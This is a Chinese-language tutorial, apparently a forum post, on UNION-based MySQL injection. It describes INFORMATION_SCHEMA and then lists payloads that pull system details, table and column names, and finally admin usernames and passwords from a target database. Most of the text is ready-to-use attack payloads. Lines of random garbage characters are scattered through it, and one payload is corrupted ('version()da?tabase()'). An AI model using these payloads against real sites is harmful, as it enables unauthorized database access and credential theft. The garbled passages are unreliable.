mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

  O( v# z+ A0 X/ j学习盲注前先了解下 IFORMATION_SCHEMA 库
  O1 p# [4 _, ~" g% f! v
! n8 y( y1 a2 b: y+ AMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
- j& f- G: F+ b) g( @8 @+ }1.得到所有数据库名：
( L  s/ C! o9 O* q|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
' F3 G( d) d$ Q/ |. s* S
|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
- [" X+ x( b. S" O0 v% R|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称
) j0 ~% K7 w/ ~& N7 P


###########################################################################
& U/ B) Z- T' ], v  |  u4 X
# }  \# n4 H8 ~: H1 u, X; y0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
$ J8 y& [  j* @" i9 w& E7 n
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
% z# v1 q. l0 H5 j
*/


) r9 b! P* ^/ V: x0 N
" F* b. o5 w" W. K5 x: x5 [######################################################################

3 ]; q; x5 U$ p" p2 Q0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
$ i7 o) A2 P# I4 q9 \1 R
. T$ ~$ N0 R$ R' h1 H+ ?! y

6 z6 v4 h6 z4 {/*

0x67617264656e 为当前数据库名

4 f. B9 ]8 c) ~  C& a- Vgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
+ ]2 r/ p0 C* \+ f+ o0 Z$ }
*/

######################################################################



3 e5 t% q. k& w7 S9 A0x003 获取字段
% \) `* J  [5 \* o/ f7 T5 P" r, r; A5 U
/ S, ]- Q2 r" w' {9 yunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
  M! x+ ~' h2 R( t8 A) F3 o2 E- I
/*
' U( G9 ^9 S( f+ Z5 v0 i
$ N' Y1 Z/ z6 W  d: y8 h: D2 H; _group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

: C* ~7 G# w$ s3 W0x61646d696e ->选择一个表
, z" ]* O8 ~% y# Z4 N- B. `
0x67617264656e ->数据库名

*/

#####################################################################
# z, \. w: E' o4 p9 M. \7 G


0x004 获取数据
' G" }# ?/ T! P7 q  O
union select 1,2,3
& Y! n/ G) [' b0 h3 M! v,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
) c+ G! ^8 l- [, I; w) m; T4 `


/*
! P9 T- F& f" |+ X/ e) O
. L* `, }( a4 p6 C* U& Y0x3c62723e 换行符号HEX编码
$ N# W6 J9 _9 ^+ W  m4 S# N
' K$ y9 O5 D/ Jgroup_concat 同时获得该字段所有数据

! E( n1 m1 o5 i3 J4 D2 k! \0 W*/
0 m9 N! B, ~  s% D; ^